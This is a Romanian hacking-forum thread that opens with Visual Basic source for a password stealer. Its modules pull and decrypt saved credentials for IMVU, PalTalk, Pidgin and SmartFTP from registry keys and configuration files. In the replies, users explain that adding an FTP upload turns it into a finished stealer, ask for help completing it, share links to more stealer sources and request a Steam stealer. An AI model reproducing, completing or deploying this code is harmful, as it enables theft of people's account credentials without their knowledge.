Form1.ztext.AppendText("============IMVU==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & Username) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & base64Decode(Password)) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============IMVU==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("IMVU Not Installed!") Form1.ztext.AppendText(nl) End Try End FunctionEnd Module12.PalTalkModule PalTalk Public Function GetHDSerial() As String Dim disk As New System.Management.ManagementObject( _ "Win32_LogicalDisk.DeviceID=""C:""") Dim diskPropertyA As System.Management.PropertyData = _ disk.Properties("VolumeSerialNumber") Return diskPropertyA.Value.ToString() End Function Public Function paltalkscene() As String Try Dim ser() As Char = GetHDSerial().ToCharArray Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser Dim out As String = "" reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk") Dim users As String() = reg.GetSubKeyNames() reg.Close() For Each s As String In users Dim t, o, i, x As Integer Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "") Dim chr1 As Char() = pass.ToCharArray Dim passarr(pass.Length / 4) As String While t <= UBound(chr1) - 4 If t < UBound(chr1) - 4 Then passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2) End If t += 4 o += 1 End While Dim key As String = "" For Each c As Char In s key += c If i <= UBound(ser) Then key += ser(i) End If i = i + 1 Next key = key & key & key Dim chr_arr As Char() = key.ToCharArray Dim blainpass As String = "" blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1))) For x = 1 To UBound(passarr) Dim tempchr As Char If passarr(x) Is Nothing Then Else tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122) blainpass += tempchr End If Next x Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============PalTalk==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & s) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & blainpass) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Next Return out Catch ex As Exception Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============PalTalk==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("PalTalk Not Installed!") Form1.ztext.AppendText(nl) Return "---" End Try End FunctionEnd Module13. PidginOption Explicit OnImports System.IOImports System.XmlModule Pidgin Public Function GetPidgin() As String Dim ReadXML As New XmlDocument Dim i As Integer Dim OutAll = Nothing GetPidgin = "" Dim FilePath As String = Environ("appdata") & "\.purple\accounts.xml" If File.Exists(FilePath) <> True Then Exit Function Else Try ReadXML.Load(FilePath) Dim Protocol As XmlNodeList = ReadXML.GetElementsByTagName("protocol") Dim Username As XmlNodeList = ReadXML.GetElementsByTagName("name") Dim Password As XmlNodeList = ReadXML.GetElementsByTagName("password") For i = 0 To Protocol.Count - 1 OutAll = OutAll & "Pidgin Stealer Logs!" & vbNewLine & "Protocol: " & Protocol(i).InnerText & vbCrLf _ & "Username: " & Username(i).InnerText & vbCrLf _ & "Password: " & Password(i).InnerText & vbCrLf & vbNewLine Next Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============Pidgin==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & Username(i).InnerText) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & Password(i).InnerText) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============Pidgin==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Pidgin Not Installed!") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) End Try End If End FunctionEnd Module14.SmartFTPModule SmartFTP Function SmartFTP() As String Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml") Dim sFile As String = ReadFile(sPath) Dim sHost As String = Cut(sFile, "<Host>", "</Host>") Dim sPort As String = Cut(sFile, "<Port>", "</Port>") Dim sUser As String = Cut(sFile, "<User>", "</User>") Dim sPwd As String = Cut(sFile, "<Password>", "</Password>") Dim sEntry As String = Cut(sFile, "<Name>", "</Name>") If Not sUser = "" Then Try SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Password: " + sPwd + " (Encrypt)" Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============SmartFTP==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Form1.ztext.AppendText("============SmartFTP==============") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("=================================") End Try Else End If End Function Function ReadFile(ByVal sFile As String) As String On Error Resume Next Dim OpenFile As New System.IO.StreamReader(sFile) ReadFile = OpenFile.ReadToEnd.ToString End Function Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String On Error Resume Next Dim c() As String Dim c2() As String c = Split(sInhalt, sText) c2 = Split(c(1), stext2) Cut = c2(0) End Function Function RegRead(ByVal hKey As String) As String Dim wshShell As Object = CreateObject("WScript.Shell") On Error Resume Next RegRead = wshShell.RegRead(hKey) End Function Public Function ReadLine(ByVal filename As String, _ ByVal line As Integer) As String Try Dim lines As String() = My.Computer.FileSystem.ReadAllText( _ filename, System.Text.Encoding.Default).Split(vbCrLf) If line > 0 Then Return lines(line - 1) ElseIf line < 0 Then Return lines(lines.Length + line - 1) Else Return "" End If Catch ex As Exception Return "" End Try End FunctionEnd ModuleLa ce foloseste asta ? fi mai explicit te rog Quote Link to comment Share on other sites More sharing options...
Bebe Posted April 30, 2012 Report Share Posted April 30, 2012 La ce foloseste asta ? fi mai explicit te rogAdaugi o functie pentru ftp, un text si gata stealerul. Quote Link to comment Share on other sites More sharing options...
SlowlyDeath Posted July 7, 2012 Report Share Posted July 7, 2012 la ftp commander functia Cut nu este buna ... ceva ajutor ? Quote Link to comment Share on other sites More sharing options...
LegioNRST Posted July 7, 2012 Report Share Posted July 7, 2012 Multam. Chiar acum instalam vb-ul. Quote Link to comment Share on other sites More sharing options...
fimoza85 Posted November 10, 2012 Report Share Posted November 10, 2012 Adaugi o functie pentru ftp, un text si gata stealerul.Si cum adaugi acea functie ? daca tot e un tutorial sa fie complect ca altii nu stim deloc VB Quote Link to comment Share on other sites More sharing options...
dfani511 Posted November 19, 2012 Report Share Posted November 19, 2012 da ar ajuta mult daca ar fi si complet,nu sunt toti asa "invatati" Quote Link to comment Share on other sites More sharing options...
balanlucian Posted January 25, 2013 Report Share Posted January 25, 2013 pute-ti mai detaliat spune pentru ce sint aceste stealuri ?! Quote Link to comment Share on other sites More sharing options...
abraxyss Posted January 25, 2013 Report Share Posted January 25, 2013 Nu cred ca trebuia sa le postezi la tutoriale , uite cum striga toti Quote Link to comment Share on other sites More sharing options...
swaMp Posted January 28, 2013 Report Share Posted January 28, 2013 Dupa ce ca vi se da aproape mura in gura vreti sa stiti totul in mod gratuit... Mai cautati si documentati-va si voi. Quote Link to comment Share on other sites More sharing options...
Shin Posted January 28, 2013 Report Share Posted January 28, 2013 Si invatati si voi ca in Bucuresti termenul corect este "complet" nu "complect" introduce-ne-am picioarele in ea de limba ...LE: nu-mi spuneti ca-s grammar nazi pentru ca am pretentia sa stie cuvinte din abecedar Quote Link to comment Share on other sites More sharing options...
FarSe Posted January 28, 2013 Report Share Posted January 28, 2013 (edited) http://www.coresec.org/category/programming/http://www.coresec.org/2011/04/08/delphi-chrome-password-recovery-unit/http://www.coresec.org/2011/04/22/delphi-mozilla-firefox-password-recovery-unit/Siteul coresec.org are niste source code-uri foarte interesantede asemeneahttp://www.rohitab.com/discuss/topic/26843-steam-password-stealerdecryper/Nu cred ca mai merge steam stealer(daca cineva are o sursa buna de steal stealer,il rog sa imi dea un PM cu el) dar gasiti multe exemple de R.E / cracking pe rohitab. Edited January 28, 2013 by FarSe Quote Link to comment Share on other sites More sharing options...